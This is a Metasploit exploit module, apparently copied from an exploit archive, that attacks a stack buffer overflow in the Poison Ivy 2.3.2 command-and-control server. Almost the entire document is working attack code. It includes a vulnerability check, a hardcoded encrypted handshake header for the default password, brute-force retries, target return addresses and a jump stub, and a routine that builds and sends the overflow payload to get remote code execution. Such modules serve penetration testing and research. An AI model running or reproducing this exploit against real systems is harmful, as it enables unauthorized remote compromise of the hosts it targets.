Poison Ivy 2.3.2 C&C Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Brute  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.  
The exploit does not need to know the password chosen for the bot/server  
communication. If the C&C is configured with the default 'admin' password,  
the exploit should work fine. In case of the C&C configured with another  
password the exploit can fail. The 'check' command can be used to determine  
if the C&C target is using the default 'admin' password.  
  
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread  
responsible of handling the connection. Because of this the module provides the  
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header  
will be used. If the bruteforce target is selected, a random header will be sent in  
case the default for the password 'admin' doesn't work. Bruteforce will stop after  
5 tries or a session obtained.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrzej Dereszowski', # Vulnerability Discovery  
'Gal Badishi', # Exploit and Metasploit module  
'juan vazquez' # Testing and little of Metasploit-fu  
],  
'References' =>  
[  
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],  
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]  
],  
'DisclosureDate' => "Jun 24 2012",  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'StackAdjustment' => -4000,  
'Space' => 10000,  
'BadChars' => "",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"  
'RWAddress' => 0x00401000,  
'Offset' => 0x806D,  
'PayloadOffset' => 0x75,  
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp  
}  
],  
[  
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"  
'RWAddress' => 0x00401000,  
'Offset' => 0x806D,  
'PayloadOffset' => 0x75,  
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp  
'Bruteforce' =>  
{  
'Start' => { 'Try' => 1 },  
'Stop' => { 'Try' => 6 },  
'Step' => 1,  
'Delay' => 2  
}  
}  
]  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(3460),  
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),  
], self.class)  
  
end  
  
def check  
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"  
lensig = [0x000015D0].pack("V")  
  
connect  
sock.put("\x00" * 256)  
response = sock.read(256)  
datalen = sock.read(4)  
disconnect  
  
if datalen == lensig  
if response[0, 16] == sig  
print_status("Password appears to be \"admin\"")  
else  
print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")  
end  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def single_exploit  
if datastore['RANDHEADER'] == true  
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password  
header = rand_text(0x20)  
else  
# This is the 32-byte header we want to send, encrypted with the default password ("admin")  
# We have a very good chance of succeeding even if the password was changed  
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"  
end  
do_exploit(header)  
end  
  
def brute_exploit(brute_target)  
if brute_target['Try'] == 1  
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")  
# This is the 32-byte header we want to send, encrypted with the default password ("admin")  
# We have a very good chance of succeeding even if the password was changed  
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"  
else  
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")  
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password  
header = rand_text(0x20)  
end  
do_exploit(header)  
end  
  
def do_exploit(header)  
# Handshake  
connect  
print_status("Performing handshake...")  
sock.put("\x00" * 256)  
sock.get  
  
# Don't change the nulls, or it might not work  
xploit = ''  
xploit << header  
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)  
xploit << payload.encoded  
xploit << "\x00" * (target['Offset'] - xploit.length)  
xploit << [target.ret].pack("V") # ret to a jmp esp opcode  
xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)  
xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)  
  
# The disconnection triggers the exploit  
print_status("Sending exploit...")  
sock.put(xploit)  
select(nil,nil,nil,5)  
disconnect  
end  
  
end  
  
=begin  
  
* ROP version of exploit(): Has been discarded at the moment because of two reasons:  
  
(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)  
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter  
  
=end  
`